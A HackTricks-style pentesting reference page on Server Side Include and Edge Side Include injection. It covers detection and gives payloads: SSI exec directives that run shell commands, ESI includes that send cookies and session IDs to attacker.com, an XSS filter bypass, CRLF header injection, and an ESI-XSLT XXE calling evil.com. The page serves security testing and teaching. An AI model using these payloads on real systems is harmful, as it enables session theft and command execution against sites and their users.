hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

# Server Side Inclusion/Edge Side Inclusion Injection

## Server Side Inclusion Basic Information

SSI (Server Side Includes) are directives that are **placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content** to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\
For example, you might place a directive into an existing HTML page, such as:

`<!--#echo var="DATE_LOCAL" -->`

And, when the page is served, this fragment will be evaluated and replaced with its value:

`Tuesday, 15-Jan-2013 19:28:54 EST`

The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution. (Definition taken from [here](https://httpd.apache.org/docs/current/howto/ssi.html)).

You can infer the presence of SSI if the web application uses files with the extensions .shtml, .shtm or .stm, but it's not only the case.

A typical SSI expression has the following format:

```
<!--#directive param="value" -->
```

### Check

```
<!--#echo var="DOCUMENT_NAME" -->       #Document name
<!--#echo var="DATE_LOCAL" -->          #Date 
<!--#include virtual="/index.html" -->  #File inclusion
<!--#exec cmd="dir" -->                 #Command exec
<!--#exec cmd="ls" -->                  #Command exec
```

## Edge Side Inclusion

There is a problem **caching information or dynamic applications** as part of the content may have **varied** for the next time the content is retrieved. This is what **ESI** is used form, to indicate using ESI tags the **dynamic content that needs to be generated** before sending the cache version.\
if an **attacker** is able to **inject an ESI tag** inside the cache content, then, he could be able to i**nject arbitrary content** on the document before it's sent to the users.

### ESI Detection

The following header in a response from the server means that the server is using ESI:

```
Surrogate-Control: content="ESI/1.0"
```

If you can't find this header, the server might be using ESI anyways.\
A blind exploitation approach can also be used as a request should arrive to the attackers server:

```markup
<esi:include src=http://attacker.com/>
```

### ESI exploitation

#### XSS

The following ESI directive will load an arbitrary file inside the response of the server

```markup
<esi:include src=http://attacker.com/xss.html>
```

The file _http://attacker.com/xss.html_ may contain a XSS payload like `<script>alert(1)</script>`

#### Bypass client XSS protection

```markup
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```

#### Steal Cookie

```markup
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```

#### Private Local File

Do not confuse this with a "Local File Inclusion":

```markup
<esi:include src="secret.txt">
```

#### CRLF

```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```

#### Akamai debug

This will send debug information included in the response:

```markup
<esi:debug/>
```

### ESI + XSLT = XXE

It is also possible to add ** **_**eXtensible Stylesheet Language Transformations (XSLT)**_** ** based ESI includes by specifying the `xslt` value to the _dca_ parameter. The following include will cause the HTTP surrogate to request the XML and XSLT file. The XSLT file is then used to filter the XML file. This XML file can be used to perform _XML External Entity (XXE)_ attacks. This allows attackers to perform SSRF attacks, which is not very useful since this must be performed through ESI includes, which is an SSRF vector itself. External DTDs are not parsed since the underlying library (Xalan) has no support for it. This means we cannot extract local files.

```markup
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```

The XSLT file:

```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```

Check the XSLT page:

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
{% endcontent-ref %}

### References

* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)

## Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}